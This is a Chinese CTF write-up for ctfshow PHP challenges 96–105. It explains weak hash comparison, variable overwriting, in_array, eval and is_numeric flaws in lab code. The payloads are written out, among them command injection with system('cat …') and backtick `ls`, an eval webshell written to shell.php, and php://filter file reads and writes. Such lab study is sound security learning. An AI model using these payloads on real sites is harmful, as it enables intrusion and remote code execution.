总结
1. 96的文件名替代可以利用各种伪协议和目录穿越2. 97 104 md5系列* 弱碰撞 利用0e215646=0* 数组绕过 强碰撞3. 98 105 变量覆盖考脑洞,想着办法弹flag4. is_numeric的十六进制很难,但是有感觉总结不出啥*php5版本 is_numeric识别16进制*php7版本 is_numberic不识别16进制*利用base64和hex2bin写入文件5. 反射类的使用感觉应该不多and和&&的区别<?php$a = true and false and false;$b = true && false && false;var_dump($a); #bool(true)echo "\r\n";var_dump($b); #bool(false)?>
96 文件名替代
源码
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}}
这题没想到考啥,结果考了一个php的路径问题,方法很多
payload
./flag.php/var/www/html/flag.phpfile:///var/www/html/flag.phpphp://filter/read=convert.base64-encode/resource=flag.php
97 md5 数组绕过
源码
<?phpinclude("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}?>
md5的绕过,在本地环境调试一下,如果md5加密的是一个数组,就会报出warning程序会继续执行
直接传两个数组
98 变量覆盖
源码
<?phpinclude("flag.php");$_GET?$_GET=&$_POST:'flag';$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
这里有一个php的语法糖&
第一个$_GET的理解,如果上传了$_GET,那么$_GET会被&$_POST覆盖
最后一行可以理解为如果$_GET上传了一个HTTP_FLAG的值等于flag那么就会显示flag的源码
这种题目最好在本地环境里尝试一下,才能理解变量覆盖
payload
GET传HTTP_FLAG=1POST传HTTP_FLAG=flag
99 in_array是弱比较
源码
<?phphighlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {array_push($allow, rand(1,$i));}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);}?>
解释一下代码 for循环向$allow数组传入随机数
如果GET[‘n’]的值在数组中就会向以GET[‘n’]的值为文件名的文件写入post的内容
弱类型比较,’1.php’存在于array(1,2,3)
因为每次1都会从1到多少,生成随机数所以1的可能性最大
100-101 and和&&的区别 反射类的使用
源码
<?phphighlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>
and和&&的区别
<?php$a = true and false and false;$b = true && false && false;var_dump($a); #bool(true)echo "\r\n";var_dump($b); #bool(false)?>
反射类的使用
<?phpclass CTF{public $a = "CTF is very fun!";const ctf = "so cool";public static $flag = "7708801314520";static function hello(){echo "hello ctfer</br>";}}$a = new ReflectionClass('CTF');var_dump($a);var_dump($a->getConstants()); //获取一组常量var_dump($a->getName()); //获取类名var_dump($a->getStaticProperties()); //获取静态属性var_dump($a->getMethods()); //获取类中的方法?>
返回数据
class ReflectionClass#1 (1) {public $name =>string(3) "CTF"}array(1) {'ctf' =>string(7) "so cool"}string(3) "CTF"array(1) {'flag' =>string(13) "7708801314520"}array(1) {[0] =>class ReflectionMethod#2 (2) {public $name =>string(5) "hello"public $class =>string(3) "CTF"}}
解题
预期,这里注意源码中第二个if是提醒你加;不是过滤;草!
?v1=1&v2=echo new ReflectionClass&v3=;
非预期
1.直接vardump加注释符v1=1&v2=var_dump($ctfshow)/*&v3=*/;2.直接命令注入?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;?v1=1&v2=?><?php echo `ls`/*&v3=*/;
flag要解码
102 is_numeric 十六进制
源码
<?phphighlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);}else{die('hacker');}?>
首先看到了call_user_func是一个调用函数的方法,所以$v1是我们想调用的函数
但是$v2这里我没有想到怎么利用,因为一定是要个数字,但是截取后,传到call_user_func()没啥用,看了wp,
is_numeric函数在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。echo hex2bin("3c3f706870206576616c28245f504f53545b315d293b3f3e");//输出<?php eval($_POST[1]);?>
这样$v2的值就确定了,$v1也确定了,$v3写一个php文件就可以了
payload:
get?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=shell.phppost?v1=hex2bin
擦,看了一半,这道题是php7的环境,所以上面的解法没用,因为php7的环境下is_numeric不识别16进制
解题
现在想想,我们已经确定的有啥$v1=hex2bin,$v2应该是个纯数字,且经过substr后用hex2bin输出的应该是可以利用的代码,那么$v3是不是可以利用一下,没有思路继续题解
所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin
关键就是什么代码base64编码后再转为十六进制为全数字,网上找了一个
$a='<?=`cat *`;';$b=base64_encode($a); // PD89YGNhdCAqYDs=$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。输出 5044383959474e6864434171594473带e的话会被认为是科学计数法,可以通过is_numeric检测。
103 同上一道题
源码
个人感觉设计call_user_func(),我就没解出来过
<?phphighlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}}else{die('hacker');}?>
在上一道题的基础上,加了个正则,但是没啥子用,因为上一题就用了短标签不说了
104 md碰撞
源码
看了一下代码,除了问题,应该要判断一下v1和v2不相等,然后进行一个弱碰撞,md5加密后以0e开头都会识别为0
highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}}
解法一:数组绕过
解法二:md5弱碰撞
<?php$a = md5('s1502113478a');$b = md5('s1885207154a');echo "\$a:".$a;echo "\r\n";echo "\$b:".$b;echo "\r\n";var_dump($a==$b);echo "\r\n";var_dump($a===$b);?>输出结果$a:0e861580163291561247404381396064$b:0e509367213418206700842008763514bool(true)bool(false)
105 $$变量覆盖
源码
<?phphighlight_file(__FILE__);include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){if($key==='error'){die("what are you doing?!");}$$key=$$value;}foreach($_POST as $key => $value){if($value==='flag'){die("what are you doing?!");}$$key=$$value;}if(!($_POST['flag']==$flag)){die($error);}echo "your are good".$flag."\n";die($suces);?>
看了一眼应该是一个变量的覆盖
解法一:利用suces die出 flag
首先get上传suces=flag,那么在get的foreach的时候就产生了一个变量覆盖$key=suces $value=flag所以 $$key -> $suces $$value->$flag$suces存储的就是flag的值,但是在最后一个if判断的时候又会die了所以还要上传一个flag=这样的话$flag的值就为空了我们没有post上传,$_POST['flag']==$flag是相等的 拿到flag
解法二:利用error弹出flag
get传a=flag,所以会有$a来暂存flag的值,接着post上传error=a,所以a的值变成flag的值在下一个if中直接弹出flag
